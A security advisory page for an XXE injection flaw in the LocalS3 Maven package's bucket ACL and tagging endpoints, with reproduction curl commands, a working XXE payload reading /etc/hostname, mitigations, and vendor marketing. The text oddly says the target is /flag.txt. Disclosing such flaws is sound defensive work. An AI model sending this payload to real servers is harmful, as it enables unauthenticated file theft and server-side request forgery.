Summary
LocalS3 Project Bucket Operations Vulnerable to XML External Entity (XXE) Injection
Description
The LocalS3 project contains an XML External Entity (XXE) Injection vulnerability in its bucket operations that process XML data. Specifically, the vulnerability exists in the bucket ACL and bucket tagging operations. The application processes XML input without properly disabling external entity resolution, allowing an attacker to read arbitrary files from the server's filesystem.
The vulnerability occurs because the XML parser used by the application processes DOCTYPE declarations and allows external entity references. When processing bucket ACL or tagging operations, the application includes the content of external entities in its response, effectively exposing sensitive files from the server.
This type of vulnerability can be exploited to read sensitive files, perform server-side request forgery (SSRF), or potentially achieve denial of service through various XXE attack vectors.
Steps to Reproduce
Create a test bucket using PUT request to http://[server]/[bucket-name]
curl -X PUT "http://app/xxe-test-bucket2"```Send a PUT request to http://[server]/[bucket-name]?acl with the following XXE payload:
curl -X PUT "http://app/xxe-test-bucket2?acl" \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE AccessControlPolicy [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> <AccessControlPolicy> <Owner> <ID>&xxe;</ID> <DisplayName>test</DisplayName> </Owner> <AccessControlList> <Grant> <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser"> <ID>test</ID> <DisplayName>test</DisplayName> </Grantee> <Permission>FULL_CONTROL</Permission> </Grant> </AccessControlList> </AccessControlPolicy>'Send a GET request to
http://[server]/[bucket-name]?aclto retrieve the bucket ACLcurl "http://app/xxe-test-bucket2?acl"
After performing these steps, the content of the target file (/flag.txt in this case) will be included in the response within the ID field of the Owner element.
Mitigations
- Configure the XML parser to disable external entity resolution by setting XMLConstants.FEATURE_SECURE_PROCESSING to true
- Disable DOCTYPE declarations in the XML parser configuration
- Implement XML input validation and sanitization before processing
- Consider using JSON instead of XML for these operations if XML parsing is not strictly necessary
Impact
The vulnerability requires no authentication and can be exploited by any user who can make HTTP requests to the server. It allows reading arbitrary files from the server's filesystem, which could expose sensitive configuration files, credentials, or other confidential information. The vulnerability can also be used to perform SSRF attacks against internal systems.
An XML parser processes external entity references in untrusted input, causing the server to fetch internal resources or remote URLs. Typical impact: local file disclosure, server-side request forgery, or denial of service.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-2466-4485-4PXJ? GHSA-2466-4485-4PXJ is a medium-severity XML external entity injection (XXE) vulnerability in io.github.robothy:local-s3-rest (maven), affecting versions < 1.21. It is fixed in 1.21. An XML parser processes external entity references in untrusted input, causing the server to fetch internal resources or remote URLs.
- Which versions of io.github.robothy:local-s3-rest are affected by GHSA-2466-4485-4PXJ? io.github.robothy:local-s3-rest (maven) versions < 1.21 is affected.
- Is there a fix for GHSA-2466-4485-4PXJ? Yes. GHSA-2466-4485-4PXJ is fixed in 1.21. Upgrade to this version or later.
- Is GHSA-2466-4485-4PXJ exploitable, and should I be worried? Whether GHSA-2466-4485-4PXJ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-2466-4485-4PXJ is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-2466-4485-4PXJ? Upgrade
io.github.robothy:local-s3-restto 1.21 or later.